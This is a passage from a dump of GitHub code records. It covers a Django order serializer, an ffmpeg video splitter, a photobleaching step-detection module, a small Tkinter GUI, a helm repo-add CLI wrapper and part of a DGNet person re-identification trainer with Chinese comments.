'street', 'house_number', 'housing',\n            'structure', 'apartment', 'additional_info',\n            'order_items', 'sum'\n        ]\n\n\nclass OrderPatchSerializer(OrderGenericSerializer):\n    city = CharField(required=True)\n    street = CharField(required=True)\n    house_number = IntegerField(required=True)\n    apartment = CharField(required=True)\n\n    recipient_email = EmailField(required=True)\n    recipient_first_name = CharField(required=True)\n    recipient_last_name = CharField(required=True)\n    recipient_patronymic = CharField(required=True)\n    recipient_phone = CharField(required=True)\n\n    def update(self, instance, validated_data):\n        if validated_data.get('status') == Order.Status.IN_PROGRESS \\\n                and instance.status == Order.Status.NEW:\n            for order_item in instance.order_items.all():\n                order_item.price = order_item.assortment.price\n                order_item.save()\n            new_order_confirmation.send(\n                sender=self.__class__,\n                order_number=instance.id,\n                order_url=reverse_lazy('order-detail', request=self.context['request'], args=[instance.id]),\n                to_address=validated_data['recipient_email'],\n                last_name=validated_data['recipient_last_name'],\n                first_name=validated_data['recipient_first_name'],\n            )\n        instance = super(OrderPatchSerializer, self).update(instance, validated_data)\n        return instance\n","repo_name":"Zippelin/DemoShop","sub_path":"docker/web/app/shop/order/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":6447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"27823730347","text":"import os\nimport subprocess\nfrom subprocess import PIPE\n\n\ndef split_source(source):\n    tail = os.path.split(source)[1].rstrip(\".mp4\")\n    if not os.path.exists(os.path.join(\"/pfs/out\", tail)):\n        os.makedirs(os.path.join(\"/pfs/out\", tail))\n    subprocess.run(\n        [\n            \"ffmpeg\",\n            \"-i\",\n            source,\n            \"-c\",\n            \"copy\",\n            \"-map\",\n            \"0\",\n            \"-segment_time\",\n            \"120\",\n            \"-f\",\n            \"segment\",\n            os.path.join(\"/pfs/out\", tail, \"job-id_%04d.mp4\"),\n        ]\n    )\n    # subprocess.run([\"ffmpeg\", \"-i\", source, \"-vcodec\", \"libx265\", \"-crf\", \"28\", os.path.join(\"/pfs/out\", tail + \".mp4\")], stdout=PIPE, stderr=PIPE)\n\n\nfor dirpath, dirs, files in os.walk(\"/pfs/videos\"):\n    for file in files:\n        split_source(os.path.join(dirpath, file))\n","repo_name":"theycallmeloki/splitencoder","sub_path":"splitencoder/ffmpegsplit/splitter.py","file_name":"splitter.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"21985367708","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 14 12:29:12 2019\n\n@author: johan\n\"\"\"\n\nimport numpy as np\nimport os\nimport logging\nimport time\nimport multiprocessing as mp\n\n# relative imports\nfrom .kv_lowlevel import kv_single_fast\nfrom .kv_lowlevel import kv_single\nfrom .helpers import read_tracedf\nfrom .helpers import crop_traces\nfrom .helpers import kv_from_json, kv_to_json, kvresult_from_json\nfrom ..helpers import export_csv\n\n\ndef worker(trace_index, trace, threshold, maxiter, max_memory, Q):\n    tic = time.time()\n    result = [trace_index]\n    if len(trace)**2*4/1e9 < max_memory:\n        # faster but memory consuming for long traces ( > 10000)\n        result.append(kv_single_fast(trace, threshold, maxiter))\n    else:\n        # slower but less memory consuming\n        result.append(kv_single(trace, threshold, maxiter))\n    result.append(time.time() - tic)\n    Q.put(result)\n    return result\n\n\ndef listener(Q, crop_index, jsonfile, parameters, logger):\n    while True:\n        result = Q.get()\n        if result == 'kill':\n            break\n        trace_index = result[0]\n        # kv result\n        steppos, means, variances, posbysic, kv_iter = result[1]\n        # correct for cropping\n        steppos = steppos + crop_index[trace_index]\n        posbysic = posbysic + crop_index[trace_index]\n        if len(steppos) > 0:\n            # calculate fluors by intensity\n            means_sub = means - means[0]\n            fluors_intensity = np.round(means_sub/means_sub[1]).astype(int)\n            # calculate fluors by steps\n            stepsigns = np.sign(np.diff(means)) #sign of steps\n            fluors_kv = np.cumsum(np.hstack((0, stepsigns)))\n        else:\n            # fluors (zero)\n            fluors_intensity = np.array([0])\n            fluors_kv = np.array([0])\n        kv_time = result[2]\n        # write to json file\n        kv_to_json(jsonfile, parameters, trace_index, steppos, means, variances, posbysic,\n                    fluors_intensity, fluors_kv, 0, kv_time, kv_iter)\n        # write to log\n        logmessage = 'trace {:d}, {:d} iterations, runtime {:.2f}s'.format(trace_index, kv_iter, kv_time)\n        logger.info('Finished KV ' + logmessage)\n    return\n        \n    \n\n\ndef kv_file(infile, threshold, maxiter, outfolder=None, norm=1, max_memory=2.0, crop=True, bgframes = 500, num_cores=2):\n    '''\n    Run preliminary step detection on a .csv file with rows as photobleaching traces\n    '''\n    # file names and outfolder\n    folder, filename = os.path.split(infile)\n    filename, ext = os.path.splitext(filename)\n    if outfolder is None:\n        outfolder = os.path.normpath(folder) + '/'\n    else:\n        outfolder = os.path.normpath(outfolder) + '/'\n    os.makedirs(outfolder, exist_ok=True)\n    # outfiles\n    jsonfile = outfolder + filename + '_kvout.json'\n    outfile = outfolder + filename + '_kvout.csv'\n    # logging\n    logfile = outfolder + filename + '_kv.log'\n    logger = logging.getLogger('pbsalog')\n    if not logger.isEnabledFor(20):\n        # set up logger if it is not enabled for INFO level\n        logging.basicConfig(filename = logfile,  filemode = 'w',  level = logging.INFO,\n                            format = '%(asctime)s %(levelname)s %(message)s')\n        logger = logging.getLogger('pbsalog')\n    logger.info('Starting KV on ' + str(infile))\n    \n    # read in Traces\n    Traces, basedf, comment, parameters, N_traces, N_frames = read_tracedf(infile)\n    # add KV parameter to parameter dictionary\n    parameters.update({'KV_threshold': threshold,\n                       'maxiter': maxiter,\n                       'norm': norm,\n                       'crop': crop,\n                       'bg_frames': bgframes})\n    # Norm and flip traces\n    Traces = np.fliplr(Traces)/norm\n    \n    # crop traces if specified (does not actually cut the data, only ignores part of it for analysis purposes)\n    if crop:\n        crop_index = crop_traces(Traces, threshold/2, bgframes)\n    \n    # import json\n    if os.path.isfile(jsonfile):\n        trace_indices = kv_from_json(jsonfile, parameters, N_traces)\n    else:\n        trace_indices = np.arange(N_traces)\n    \n    # need at least 2 cores for listener and worker\n    if num_cores < 2:\n        num_cores = 2\n    \n    # Set up pool of workers\n    manager = mp.Manager()\n    Q = manager.Queue()    \n    pool = mp.Pool(num_cores)\n    \n    # start listener\n    pool.apply_async(listener,\n                     (Q, crop_index, jsonfile, parameters, logger))\n    \n    jobs = []      \n    # Start workers on traces\n    for K in trace_indices:\n        # cropped trace\n        trace = Traces[K, crop_index[K]:]\n        job = pool.apply_async(worker,\n                               (K, trace, threshold, maxiter, max_memory, Q))\n        jobs.append(job)\n        \n    # collect results from the workers through the pool result queue\n    for job in jobs:\n        job.get()\n\n    #now we are done, kill the listener\n    Q.put('kill')\n    pool.close()\n    pool.join()\n        \n    # write result\n    result_out, result_array = kvresult_from_json(jsonfile, Traces, basedf)\n    result_out = export_csv(result_out, result_array, outfile, parameters, comment)\n    # log\n    logmessage = '{:d} Traces'.format(len(trace_indices))\n    logger.info('Finished KV for ' + logmessage)\n    \n    return result_out, outfile, jsonfile\n\n\n\n","repo_name":"JohnDieSchere/quickpbsa","sub_path":"quickpbsa/steps_preliminary/preliminary_file.py","file_name":"preliminary_file.py","file_ext":"py","file_size_in_byte":5343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13646421597","text":"def main():\n    # Entrada de dados\n    nome = input('Digite seu nome: ')\n    estado_civil = int(\n        input('Digite seu estado civil:\\n 1 - Casado\\n 2 - Solteiro\\n '))\n\n    # Processamento\n    n1 = []\n    n2 = []\n    if estado_civil == 2:\n        n1.append(nome)\n        for i in n1:\n\n            # Saída de dados\n            print(len(i))\n    elif estado_civil == 1:\n\n        # Entrada de dados\n        nome2 = input('Digite o nome do cônjuge: ')\n\n        # Processamento\n        n1.append(nome)\n        n2.append(nome2)\n        for i in n1:\n            for w in n2:\n                # Saída de dados\n                print(len(i) + len(w))\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"tonnekarlos/aula-pec-2021","sub_path":"Semana-5-Ex02-Q01.py","file_name":"Semana-5-Ex02-Q01.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"39989927750","text":"__author__ = 'pavan'\n\nfrom Tkinter import *\n\n#blank window\nroot = Tk()\n\n#modify root window\nroot.title(\"Sentiment Analysis\")\nroot.geometry(\"600x400\")\n\n#frame\ntopFrame = Frame(root)\nmidFrame = Frame(root)\nbotFrame = Frame(root)\ntopFrame.grid(row=0)\nmidFrame.grid(row=1)\nbotFrame.grid(row=2)\n\n#label\nlabel1 = Label(topFrame, text = \"Sentiment Analysis\\nGroup 7\")\nlabel1.grid(row=0, column=0)\nlabel2 = Label(topFrame, text = \"Enter your text below\")\nlabel2.grid(row=0, column=1)\n\n#textfield\ntextfield = Text(midFrame, height=10)\ntextfield.grid(row=0, columnspan=2)\n\n#button\nbutton = Button(midFrame, text = \"Submit\")\nbutton.grid(row=1, columnspan=2)\n\n#sentiment output\nlabel3 = Label(botFrame, text = \"tolo\")\nlabel3.grid(row=0, columnspan=2)\nroot.mainloop()","repo_name":"jayMash/group7","sub_path":"window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"8823816405","text":"from subprocess import run,PIPE\nimport click\n\n@click.command()\n@click.option('-cn','--chartname',help=\"Please provide the Chart name\")\n@click.option('-cu','--charturl',help=\"Please provide the Chart url\")\n\ndef addchart(chartname,charturl):\n\n    ##helm repo add [NAMURL] [flags]\n    arguments=[\"helm\", \"repo\",\"add\", f\"{chartname}\", f\"{charturl}\"] \n    run(arguments, capture_output=True) #Updating the repo to the latest version\n    p = run(arguments, capture_output=True )\n    print( p.stdout.decode() )\n    print( p.stderr.decode() )\n\n\n","repo_name":"KaramJaber99/HelmChartCli","sub_path":"helm/commands/addchart.py","file_name":"addchart.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"36416295037","text":"from networks import AdaINGen, MsImageDis\nfrom reIDmodel import ft_net, ft_netAB, PCB\nfrom utils import get_model_list, vgg_preprocess, load_vgg16, get_scheduler\nfrom torch.autograd import Variable\nimport torch\nimport torch.nn as nn\nimport copy\nimport os\nimport cv2\nimport numpy as np\nfrom random_erasing import RandomErasing\nimport random\nimport yaml\n\n#fp16\ntry:\n    from apex import amp\n    from apex.fp16_utils import *\nexcept ImportError:\n    print('This is not an error. If you want to use low precision, i.e., fp16, please install the apex with cuda support (https://github.com/NVIDIA/apex) and update pytorch to 1.0')\n\n\ndef to_gray(half=False): #simple\n    def forward(x):\n        x = torch.mean(x, dim=1, keepdim=True)\n        if half:\n            x = x.half()\n        return x\n    return forward\n\ndef to_edge(x):\n    x = x.data.cpu()\n    out = torch.FloatTensor(x.size(0), x.size(2), x.size(3))\n    for i in range(x.size(0)):\n        xx = recover(x[i,:,:,:])   # 3 channel, 256x128x3\n        xx = cv2.cvtColor(xx, cv2.COLOR_RGB2GRAY) # 256x128x1\n        xx = cv2.Canny(xx, 10, 200) #256x128\n        xx = xx/255.0 - 0.5 # {-0.5,0.5}\n        xx += np.random.randn(xx.shape[0],xx.shape[1])*0.1  #add random noise\n        xx = torch.from_numpy(xx.astype(np.float32))\n        out[i,:,:] = xx\n    out = out.unsqueeze(1) \n    return out.cuda()\n\ndef scale2(x):\n    #对输入进行缩放\n    if x.size(2) > 128: # do not need to scale the input\n        return x\n    x = torch.nn.functional.upsample(x, scale_factor=2, mode='nearest')  #bicubic is not available for the time being.\n    return x\n\ndef recover(inp):\n    inp = inp.numpy().transpose((1, 2, 0))\n    mean = np.array([0.485, 0.456, 0.406])\n    std = np.array([0.229, 0.224, 0.225])\n    inp = std * inp + mean\n    inp = inp * 255.0\n    inp = np.clip(inp, 0, 255)\n    inp = inp.astype(np.uint8)\n    return inp\n\ndef train_bn(m):\n    classname = m.__class__.__name__\n    if classname.find('BatchNorm') != -1:\n        m.train()\n\ndef fliplr(img):\n    #对图片进行水平翻转\n    '''flip horizontal'''\n    inv_idx = torch.arange(img.size(3)-1,-1,-1).long().cuda()  # N x C x H x W\n    img_flip = img.index_select(3,inv_idx)\n    return img_flip\n\ndef update_teacher(model_s, model_t, alpha=0.999):\n    for param_s, param_t in zip(model_s.parameters(), model_t.parameters()):\n        param_t.data.mul_(alpha).add_(1 - alpha, param_s.data)\n\ndef predict_label(teacher_models, inputs, num_class, alabel, slabel, teacher_style=0):\n    #定义teacher model的损失函数，实际使用的是smooth dynamic label\n# teacher_style:\n# 0: Our smooth dynamic label\n# 1: Pseudo label, hard dynamic label\n# 2: Conditional label, hard static label \n# 3: LSRO, static smooth label\n# 4: Dynamic Soft Two-label\n# alabel is appearance label\n    #实际使用损失函数的是这个\n    if teacher_style == 0:\n        count = 0\n        sm = nn.Softmax(dim=1)\n        for teacher_model in teacher_models:\n            #outputs_t1表示身份的特征向量\n            _, outputs_t1 = teacher_model(inputs) \n            outputs_t1 = sm(outputs_t1.detach())\n            _, outputs_t2 = teacher_model(fliplr(inputs)) \n            outputs_t2 = sm(outputs_t2.detach())\n            if count==0:\n                outputs_t = outputs_t1 + outputs_t2\n            else:\n                outputs_t = outputs_t * opt.alpha  # old model decay\n                outputs_t += outputs_t1 + outputs_t2\n            count +=2\n    elif teacher_style == 1:  # dynamic one-hot  label\n        count = 0\n        sm = nn.Softmax(dim=1)\n        for teacher_model in teacher_models:\n            _, outputs_t1 = teacher_model(inputs)\n            outputs_t1 = sm(outputs_t1.detach())  # change softmax to max\n            _, outputs_t2 = teacher_model(fliplr(inputs))\n            outputs_t2 = sm(outputs_t2.detach())\n            if count==0:\n                outputs_t = outputs_t1 + outputs_t2\n            else:\n                outputs_t = outputs_t * opt.alpha  # old model decay\n                outputs_t += outputs_t1 + outputs_t2\n            count +=2\n        _, dlabel = torch.max(outputs_t.data, 1)\n        outputs_t = torch.zeros(inputs.size(0), num_class).cuda()\n        for i in range(inputs.size(0)):\n            outputs_t[i, dlabel[i]] = 1\n    elif teacher_style == 2: # appearance label\n        outputs_t = torch.zeros(inputs.size(0), num_class).cuda()\n        for i in range(inputs.size(0)):\n            outputs_t[i, alabel[i]] = 1\n    elif teacher_style == 3: # LSRO\n        outputs_t = torch.ones(inputs.size(0), num_class).cuda()\n    elif teacher_style == 4: #Two-label\n        count = 0\n        sm = nn.Softmax(dim=1)\n        for teacher_model in teacher_models:\n            _, outputs_t1 = teacher_model(inputs)\n            outputs_t1 = sm(outputs_t1.detach())\n            _, outputs_t2 = teacher_model(fliplr(inputs))\n            outputs_t2 = sm(outputs_t2.detach())\n            if count==0:\n                outputs_t = outputs_t1 + outputs_t2\n            else:\n                outputs_t = outputs_t * opt.alpha  # old model decay\n                outputs_t += outputs_t1 + outputs_t2\n            count +=2\n        mask = torch.zeros(outputs_t.shape)\n        mask = mask.cuda()\n        for i in range(inputs.size(0)):\n            mask[i, alabel[i]] = 1\n            mask[i, slabel[i]] = 1\n        outputs_t = outputs_t*mask\n    else:\n        print('not valid style. teacher-style is in [0-3].')\n\n    s = torch.sum(outputs_t, dim=1, keepdim=True)\n    s = s.expand_as(outputs_t)\n    outputs_t = outputs_t/s\n    return outputs_t\n\n######################################################################\n# Load model\n#---------------------------\ndef load_network(network, name):\n    save_path = os.path.join('./models',name,'net_last.pth')\n    network.load_state_dict(torch.load(save_path))\n    return network\n\ndef load_config(name):\n    config_path = os.path.join('./models',name,'opts.yaml')\n    with open(config_path, 'r') as stream:\n        config = yaml.load(stream)\n    return config\n\n\nclass DGNet_Trainer(nn.Module):\n    #初始化函数\n    def __init__(self, hyperparameters, gpu_ids=[0]):\n        super(DGNet_Trainer, self).__init__()\n        # 从配置文件获取生成模型的和鉴别模型的学习率\n        lr_g = hyperparameters['lr_g']\n        lr_d = hyperparameters['lr_d']\n\n        # # ID的类别，这里要注意，不同的数据集都是不一样的，应该是训练数据集的ID数目，非测试集\n        ID_class = hyperparameters['ID_class']\n\n        # 看是否设置使用float16，估计float16可以增加精确度\n        if not 'apex' in hyperparameters.keys():\n            hyperparameters['apex'] = False\n        self.fp16 = hyperparameters['apex']\n\n        # Initiate the networks\n        # We do not need to manually set fp16 in the network for the new apex. So here I set fp16=False.\n################################################################################################################\n        ##这里是定义Es和G\n        # 注意这里包含了两个步骤，Es编码+解码过程，既然解码（论文Figure 2的黄色梯形G）包含到这里了，下面Ea应该不会包含解码过程了\n        # 因为这里是一个类，如后续gen_a.encode()可以进行编码，gen_b.encode()可以进行解码\n        self.gen_a = AdaINGen(hyperparameters['input_dim_a'], hyperparameters['gen'], fp16 = False)  # auto-encoder for domain a\n        self.gen_b = self.gen_a  # auto-encoder for domain b\n############################################################################################################################################\n\n############################################################################################################################################\n        ##这里是定义Ea\n        # ID_stride，外观编码器池化层的stride\n        if not 'ID_stride' in hyperparameters.keys():\n            hyperparameters['ID_stride'] = 2\n\n        # hyperparameters['ID_style']默认为'AB'，论文中的Ea编码器\n        #这里是设置Ea，有三种模型可以选择\n        #PCB模型，ft_netAB为改造后的resnet50，ft_net为resnet50\n        if hyperparameters['ID_style']=='PCB':\n            self.id_a = PCB(ID_class)\n        elif hyperparameters['ID_style']=='AB':\n            # 这是我们执行的模型，注意的是，id_a返回两个x（表示身份），获得f，具体介绍看函数内部\n            # 我们使用的是ft_netAB，是代码中Ea编码的过程，也就得到 ap code的过程，除了ap code还会得到两个分类结果\n            # 现在怀疑，该分类结果，可能就是行人重识别的结果\n            #ID_class表示有ID_class个不同ID的行人\n            self.id_a = ft_netAB(ID_class, stride = hyperparameters['ID_stride'], norm=hyperparameters['norm_id'], pool=hyperparameters['pool']) \n        else:\n            self.id_a = ft_net(ID_class, norm=hyperparameters['norm_id'], pool=hyperparameters['pool']) # return 2048 now\n\n        # 这里进行的是浅拷贝，所以我认为他们的权重是一起的，可以理解为一个\n        self.id_b = self.id_a\n############################################################################################################################################################\n\n############################################################################################################################################################\n        ##这里是定义D\n        # 鉴别器，行人重识别，这里使用的是一个多尺寸的鉴别器，大概就是说，对图片进行几次缩放,并且对每次缩放都会预测，计算总的损失\n        # 经过网络3个元素，分别大小为[batch_size,1，64，32], [batch_size,1，32，16], [batch_size,1，16，8]\n        self.dis_a = MsImageDis(3, hyperparameters['dis'], fp16 = False)  # discriminator for domain a\n        self.dis_b = self.dis_a # discriminator for domain b\n############################################################################################################################################################\n\n############################################################################################################################################################\n        # load teachers\n        # 加载老师模型\n        # teacher:老师模型名称。对于DukeMTMC，您可以设置“best - duke”\n        if hyperparameters['teacher'] != \"\":\n            #teacher_name=best\n            teacher_name = hyperparameters['teacher']\n            print(teacher_name)\n            #有这个操作，我怀疑是可以加载多个教师模型\n            teacher_names = teacher_name.split(',')\n            #构建老师模型\n            teacher_model = nn.ModuleList()\n            teacher_count = 0\n\n            # 默认只有一个teacher_name='teacher_name'，所以其加载的模型配置文件为项目根目录models/best/opts.yaml模型\n            for teacher_name in teacher_names:\n                # 加载配置文件models/best/opts.yaml\n                config_tmp = load_config(teacher_name)\n                if 'stride' in config_tmp:\n                    #stride=1\n                    stride = config_tmp['stride'] \n                else:\n                    stride = 2\n\n                #  老师模型加载，老师模型为ft_net为resnet50\n                model_tmp = ft_net(ID_class, stride = stride)\n                teacher_model_tmp = load_network(model_tmp, teacher_name)\n                # 移除原本的全连接层\n                teacher_model_tmp.model.fc = nn.Sequential()  # remove the original fc layer in ImageNet\n                teacher_model_tmp = teacher_model_tmp.cuda()\n                # summary(teacher_model_tmp, (3, 224, 224))\n                #使用浮点型\n                if self.fp16:\n                    teacher_model_tmp = amp.initialize(teacher_model_tmp, opt_level=\"O1\")\n                teacher_model.append(teacher_model_tmp.cuda().eval())\n                teacher_count +=1\n            self.teacher_model = teacher_model\n            # 选择是否使用bn\n            if hyperparameters['train_bn']:\n                self.teacher_model = self.teacher_model.apply(train_bn)\n############################################################################################################################################################\n\n\n        # 实例正则化\n        self.instancenorm = nn.InstanceNorm2d(512, affine=False)\n\n        # RGB to one channel\n        # 默认设置signal=gray，Es的输入为灰度图\n        if hyperparameters['single']=='edge':\n            self.single = to_edge\n        else:\n            self.single = to_gray(False)\n\n        # Random Erasing when training\n        #earsing_p表示随机擦除的概率\n        if not 'erasing_p' in hyperparameters.keys():\n            self.erasing_p = 0\n        else:\n            self.erasing_p = hyperparameters['erasing_p']\n        #随机擦除矩形区域的一些像素，应该类似于数据增强\n        self.single_re = RandomErasing(probability = self.erasing_p, mean=[0.0, 0.0, 0.0])\n        # 设置T_w为1,T_w为primary feature learning loss的权重系数\n        if not 'T_w' in hyperparameters.keys():\n            hyperparameters['T_w'] = 1\n\n        ################################################################################################\n        # Setup the optimizers\n        # 设置优化器参数\n        beta1 = hyperparameters['beta1']\n        beta2 = hyperparameters['beta2']\n        dis_params = list(self.dis_a.parameters()) #+ list(self.dis_b.parameters())\n        gen_params = list(self.gen_a.parameters()) #+ list(self.gen_b.parameters())\n        #使用Adams优化器，用Adams训练Es，G,D\n        self.dis_opt = torch.optim.Adam([p for p in dis_params if p.requires_grad],\n                                        lr=lr_d, betas=(beta1, beta2), weight_decay=hyperparameters['weight_decay'])\n        self.gen_opt = torch.optim.Adam([p for p in gen_params if p.requires_grad],\n                                        lr=lr_g, betas=(beta1, beta2), weight_decay=hyperparameters['weight_decay'])\n        # id params\n        # 因为ID_style默认为AB，所以这里不执行\n        if hyperparameters['ID_style']=='PCB':\n            ignored_params = (list(map(id, self.id_a.classifier0.parameters() ))\n                            +list(map(id, self.id_a.classifier1.parameters() ))\n                            +list(map(id, self.id_a.classifier2.parameters() ))\n                            +list(map(id, self.id_a.classifier3.parameters() ))\n                            )\n            base_params = filter(lambda p: id(p) not in ignored_params, self.id_a.parameters())\n            lr2 = hyperparameters['lr2']\n            #Ea 的优化器\n            self.id_opt = torch.optim.SGD([\n                 {'params': base_params, 'lr': lr2},\n                 {'params': self.id_a.classifier0.parameters(), 'lr': lr2*10},\n                 {'params': self.id_a.classifier1.parameters(), 'lr': lr2*10},\n                 {'params': self.id_a.classifier2.parameters(), 'lr': lr2*10},\n                 {'params': self.id_a.classifier3.parameters(), 'lr': lr2*10}\n            ], weight_decay=hyperparameters['weight_decay'], momentum=0.9, nesterov=True)\n\n        #     这里是我们执行的代码\n        elif hyperparameters['ID_style']=='AB':\n            # 忽略的参数，应该是适用于'PCB'或者其他的，但是不适用于'AB'的\n            ignored_params = (list(map(id, self.id_a.classifier1.parameters()))\n                            + list(map(id, self.id_a.classifier2.parameters())))\n            # 获得基本的配置参数，如学习率\n            base_params = filter(lambda p: id(p) not in ignored_params, self.id_a.parameters())\n            lr2 = hyperparameters['lr2']\n\n            #对Ea使用SGD\n            self.id_opt = torch.optim.SGD([\n                 {'params': base_params, 'lr': lr2},\n                 {'params': self.id_a.classifier1.parameters(), 'lr': lr2*10},\n                 {'params': self.id_a.classifier2.parameters(), 'lr': lr2*10}\n            ], weight_decay=hyperparameters['weight_decay'], momentum=0.9, nesterov=True)\n        else:\n            ignored_params = list(map(id, self.id_a.classifier.parameters() ))\n            base_params = filter(lambda p: id(p) not in ignored_params, self.id_a.parameters())\n            lr2 = hyperparameters['lr2']\n            self.id_opt = torch.optim.SGD([\n                 {'params': base_params, 'lr': lr2},\n                 {'params': self.id_a.classifier.parameters(), 'lr': lr2*10}\n            ], weight_decay=hyperparameters['weight_decay'], momentum=0.9, nesterov=True)\n\n        # 选择各个网络的优化\n        self.dis_scheduler = get_scheduler(self.dis_opt, hyperparameters)\n        self.gen_scheduler = get_scheduler(self.gen_opt, hyperparameters)\n        self.id_scheduler = get_scheduler(self.id_opt, hyperparameters)\n        self.id_scheduler.gamma = hyperparameters['gamma2']\n\n        #ID Loss\n        #交叉熵损失函数\n        self.id_criterion = nn.CrossEntropyLoss()\n        # KL散度\n        self.criterion_teacher = nn.KLDivLoss(size_average=False)\n\n\n        # Load VGG model if needed\n        if 'vgg_w' in hyperparameters.keys() and hyperparameters['vgg_w'] > 0:\n            self.vgg = load_vgg16(hyperparameters['vgg_model_path'] + '/models')\n            self.vgg.eval()\n            for param in self.vgg.parameters():\n                param.requires_grad = False\n\n        # save memory\n        if self.fp16:\n            # Name the FP16_Optimizer instance to replace the existing optimizer\n            assert torch.backends.cudnn.enabled, \"fp16 mode requires cudnn backend to be enabled.\"\n            self.gen_a = self.gen_a.cuda()\n            self.dis_a = self.dis_a.cuda()\n            self.id_a = self.id_a.cuda()\n\n            self.gen_b = self.gen_a\n            self.dis_b = self.dis_a\n            self.id_b = self.id_a\n\n            self.gen_a, self.gen_opt = amp.initialize(self.gen_a, self.gen_opt, opt_level=\"O1\")\n            self.dis_a, self.dis_opt = amp.initialize(self.dis_a, self.dis_opt, opt_level=\"O1\")\n            self.id_a, self.id_opt = amp.initialize(self.id_a, self.id_opt, opt_level=\"O1\")\n\n    def to_re(self, x):\n        out = torch.FloatTensor(x.size(0), x.size(1), x.size(2), x.size(3))\n        out = out.cuda()\n        for i in range(x.size(0)):\n            out[i,:,:,:] = self.single_re(x[i,:,:,:])\n        return out\n\n    # L1 loss，（差的绝对值）\n    def recon_criterion(self, input, target):\n        diff = input - target.detach()\n        return torch.mean(torch.abs(diff[:]))\n    #L1 loss 开根号（（差的绝对值后开根号））\n    def recon_criterion_sqrt(self, input, target):\n        diff = input - target\n        return torch.mean(torch.sqrt(torch.abs(diff[:])+1e-8))\n    # L2 loss\n    def recon_criterion2(self, input, target):\n        diff = input - target\n        return torch.mean(diff[:]**2)\n    # cos loss\n    def recon_cos(self, input, target):\n        cos = torch.nn.CosineSimilarity()\n        cos_dis = 1 - cos(input, target)\n        return torch.mean(cos_dis[:])\n\n    # x_a,x_b, xp_a, xp_b[4, 3, 256, 128],\n    # 第一个参数表示bitch size,第二个参数表示输入通道数，第三个参数表示输入图片的高度，第四个参数表示输入图片的宽度\n    def forward(self, x_a, x_b, xp_a, xp_b):\n        #送入x_a，x_b两张图片（来自训练集不同ID）\n        #通过st编码器，编码成两个stcode，structure code\n        # s_a[batch,128,64,32]\n        # s_b[batch,128,64,32]\n        # single会根据参数设定判断是否转化为灰度图\n        s_a = self.gen_a.encode(self.single(x_a))\n        s_b = self.gen_b.encode(self.single(x_b))\n\n        # 先把图片进行下采样，图示我们可以看到ap code的体积比st code是要小的,这样会出现一个情况，那么他们是没��办法直接融合的，所以后面有个全链接成把他们统一\n        # f_a[batch_size,2024*4=8192],     p_a[0]=[batch_size, class_num=751], p_a[1]=[batch_size, class_num=751]\n        # f_b[batch_size,2024*4=8192],     p_b[0]=[batch_size, class_num=751], p_b[1]=[batch_size, class_num=751]\n        # f代表的是经过ap编码器得到的ap code,\n        # p表示对身份的预测（有两个身份预测，也就是p_a了两个元素，这里不好解释），\n        # 前面提到过，ap编码器，不仅负责编码，还要负责身份的预测（行人重识别），也是我们落实项目的关键所在\n        # 这里是第一个重难点，在论文的翻译中提到过，后续详细讲解\n        f_a, p_a = self.id_a(scale2(x_a))\n        f_b, p_b = self.id_b(scale2(x_b))\n\n        # 进行解码操作，就是Figure 2中的黄色梯形G操作，这里的x_a，与x_b进行衣服互换，不同ID\n        # s_b[batch,128,64,32] f_a[batch_size,2028,4,1] -->  x_ba[batch_size,3,256,128]\n        x_ba = self.gen_a.decode(s_b, f_a)\n        x_ab = self.gen_b.decode(s_a, f_b)\n\n        #同一张图片进行重构，相当于autoencoder\n        x_a_recon = self.gen_a.decode(s_a, f_a)\n        x_b_recon = self.gen_b.decode(s_b, f_b)\n\n        fp_a, pp_a = self.id_a(scale2(xp_a))\n        fp_b, pp_b = self.id_b(scale2(xp_b))\n\n        # decode the same person\n        #x_a，xp_a表示同ID的不同图片，以下即表示同ID不同图片的重构\n        x_a_recon_p = self.gen_a.decode(s_a, fp_a)\n        x_b_recon_p = self.gen_b.decode(s_b, fp_b)\n\n        # Random Erasing only effect the ID and PID loss.\n        #把图片擦除一些像素，然后进行ap code编码\n        if self.erasing_p > 0:\n            #先把每一张图片都擦除一些像素\n            x_a_re = self.to_re(scale2(x_a.clone()))\n            x_b_re = self.to_re(scale2(x_b.clone()))\n            xp_a_re = self.to_re(scale2(xp_a.clone()))\n            xp_b_re = self.to_re(scale2(xp_b.clone()))\n\n            # 然后经过编码成ap code，暂时不知道作用，感觉应该是数据增强\n            # 类似于，擦除了图片的一些像素，但是已经能够识别出来这些图片是谁\n            _, p_a = self.id_a(x_a_re)\n            _, p_b = self.id_b(x_b_re)\n            # encode the same ID different photo\n            _, pp_a = self.id_a(xp_a_re) \n            _, pp_b = self.id_b(xp_b_re)\n\n\n        # 混合合成图片：x_ab[images_a的st，images_b的ap]    混合合成图片x_ba[images_b的st，images_a的ap]\n        # s_a[输入图片images_a经过Es编码得到的 st code]     s_b[输入图片images_b经过Es编码得到的 st code]\n        # f_a[输入图片images_a经过Ea编码得到的 ap code]     f_b[输入图片images_b经过Ea编码得到的 ap code]\n        # p_a[输入图片images_a经过Ea编码进行身份ID的预测]    p_b[输入图片images_b经过Ea编码进行身份ID的预测]\n        # pp_a[输入图片pos_a经过Ea编码进行身份ID的预测]      pp_b[输入图片pos_b经过Ea编码进行身份ID的预测]\n        # x_a_recon[输入图片images_a（s_a）与自己（f_a）合成的图片，当然和images_a长得一样]\n        # x_b_recon[输入图片images_b（s_b）与自己（f_b）合成的图片，当然和images_b长得一样]\n        # x_a_recon_p[输入图片images_a（s_a）与图片pos_a（fp_a）合成的图片，当然和images_a长得一样]\n        # 